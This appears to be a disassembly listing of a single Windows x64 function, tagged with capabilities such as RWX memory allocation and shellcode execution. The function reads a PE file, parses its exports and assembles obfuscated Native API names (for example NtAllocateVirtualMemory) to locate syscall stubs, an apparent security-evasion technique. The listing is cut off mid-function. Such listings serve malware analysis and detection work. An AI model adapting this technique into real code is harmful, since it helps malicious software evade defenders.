Function at 0x345a53323
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x3000
call fcn.345a645e0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.345a63920
call fcn.345a51561
mov dword [rbp + 0x7c], 0
mov qword [rbp + 0x70], 0
mov rax, qword [0x3472f92a8]
mov qword [rbp + 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2f68], eax
mov eax, dword [rbp + 0x2f68]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2f60], rax
mov rax, qword [rbp + 0x2f60]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2f58], rax
mov rax, qword [rbp + 0x2f58]
add rax, 0x17
mov qword [rbp + 0x2f50], rax
mov rax, qword [rbp + 0x2f50]
add rax, 0x17
mov qword [rbp + 0x2f48], rax
mov rax, qword [rbp + 0x2f48]
add rax, 0x17
mov qword [rbp + 0x2f40], rax
mov rax, qword [rbp + 0x2f40]
add rax, 0x17
mov qword [rbp + 0x2f38], rax
mov rax, qword [rbp + 0x2f38]
add rax, 0x17
mov qword [rbp + 0x2f30], rax
mov rax, qword [rbp + 0x2f30]
add rax, 0x17
mov qword [rbp + 0x2f28], rax
mov rax, qword [rbp + 0x2f28]
add rax, 0x17
mov qword [rbp + 0x2f20], rax
mov rax, qword [rbp + 0x2f20]
add rax, 0x17
mov qword [rbp + 0x2f18], rax
mov rax, qword [rbp + 0x2f18]
add rax, 0x17
mov qword [rbp + 0x2f10], rax
mov rax, qword [rbp + 0x2f10]
add rax, 0x17
mov qword [rbp + 0x2f08], rax
mov rax, qword [rbp + 0x2f08]
add rax, 0x17
mov qword [rbp + 0x2f00], rax
mov rax, qword [rbp + 0x2f00]
add rax, 0x17
mov qword [rbp + 0x2ef8], rax
mov rax, qword [rbp + 0x2ef8]
add rax, 0x17
mov qword [rbp + 0x2ef0], rax
mov rax, qword [rbp + 0x2ef0]
add rax, 0x17
mov qword [rbp + 0x2ee8], rax
mov rax, qword [rbp + 0x2ee8]
add rax, 0x17
mov qword [rbp + 0x2ee0], rax
mov rax, qword [rbp + 0x2ee0]
add rax, 0x17
mov qword [rbp + 0x2ed8], rax
mov rax, qword [rbp + 0x2ed8]
add rax, 0x17
mov qword [rbp + 0x2ed0], rax
mov dword [rbp + 0x5c], 0
mov qword [rbp + 0x2ec8], 0
mov dword [rbp + 0x2ec4], 0
mov dword [rbp + 0x58], 0
mov qword [rbp + 0x2eb8], 0
mov rax, qword [rbp + 0x2f58]
mov qword [0x347328028], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f58]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f50]
mov qword [0x347328030], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f50]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f48]
mov qword [0x347328038], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f48]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f40]
mov qword [0x347328040], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f40]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f38]
mov qword [0x347328048], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f38]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f30]
mov qword [0x347328050], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f30]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f28]
mov qword [0x347328058], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f28]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f20]
mov qword [0x347328060], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f20]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f18]
mov qword [0x347328068], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f10]
mov qword [0x347328070], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f08]
mov qword [0x347328078], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f00]
mov qword [0x347328080], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ef8]
mov qword [0x347328088], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ef8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ef0]
mov qword [0x347328090], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ef0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ee8]
mov qword [0x347328098], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ee8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ee0]
mov qword [0x3473280a0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ee0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ed8]
mov qword [0x3473280a8], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ed8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ed0]
mov qword [0x3473280b0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ed0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x3472fd371]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2ec8], rax
mov rax, qword [rbp + 0x2ec8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2ec4], eax
mov esi, dword [rbp + 0x2ec4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rsi
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2eb8], rax
lea r8, [rbp + 0x58]
mov ecx, dword [rbp + 0x2ec4]
mov rdx, qword [rbp + 0x2eb8]
mov rax, qword [rbp + 0x2ec8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2eb8]
mov qword [rbp + 0x2eb0], rax
mov rax, qword [rbp + 0x2eb0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2eb8]
add rax, rdx
mov qword [rbp + 0x2ea8], rax
mov rax, qword [rbp + 0x2ea8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2ea4], eax
mov rax, qword [rbp + 0x2ea8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2ea8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2f78], rax
mov rax, qword [rbp + 0x2f78]
mov qword [rbp + 0x2e98], rax
mov rax, qword [rbp + 0x2f78]
mov qword [rbp + 0x2f70], rax
mov dword [rbp + 0x2f6c], 0
mov rax, qword [rbp + 0x2ea8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2f6c], eax
jge 0x345a53a4f
mov rax, qword [rbp + 0x2f78]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x345a53a3e
mov rax, qword [rbp + 0x2f78]
mov qword [rbp + 0x2f70], rax
jmp 0x345a53a4f
add qword [rbp + 0x2f78], 0x28
add dword [rbp + 0x2f6c], 1
jmp 0x345a539fe
mov edx, dword [rbp + 0x2ea4]
mov rax, qword [rbp + 0x2eb8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x2f70]
mov rdx, rax
call fcn.345a513fd
mov qword [rbp + 0x2e90], rax
lea rax, [rbp + 0x34f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x34f]
lea rax, [rbp + 0x320]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x320]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x3472fd39a]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
lea r8, [0x3472fd3a0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x260]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x240]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x200]
lea r8, [0x3472fd3a6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1e0]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x160]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x140]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea r8, [0x3472fd3ae]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x100]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0xe0]
lea r8, [0x3472fd3b0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xc0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0xa0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x80]
lea r8, [0x3472fd3b2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x34f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x350]
mov rcx, qword [rbp + 0x2f58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a53eef
lea rsi, [0x3472fd3b4]
jmp 0x345a53ef6
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x5ff]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x5ff]
lea rax, [rbp + 0x5d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x3472fd3a6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x3472fd3ae]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x3472fd3b0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, [0x3472fd3b2]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x370]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x5ff]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x600]
mov rcx, qword [rbp + 0x2f50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a5432e
lea rsi, [0x3472fd3b4]
jmp 0x345a54335
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x8ef]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x8ef]
lea rax, [rbp + 0x8c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x3472fd3d4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x3472fd3a0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x3472fd3a6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x3472fd3ae]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x3472fd3b0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x660]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea r8, [0x3472fd3b2]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x620]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x8ef]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x8f0]
mov rcx, qword [rbp + 0x2f48]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a547c5
lea rsi, [0x3472fd3b4]
jmp 0x345a547cc
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0xb1f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0xb1f]
lea rax, [rbp + 0xaf0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x3472fd3d6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x3472fd3d8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x3472fd3da]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
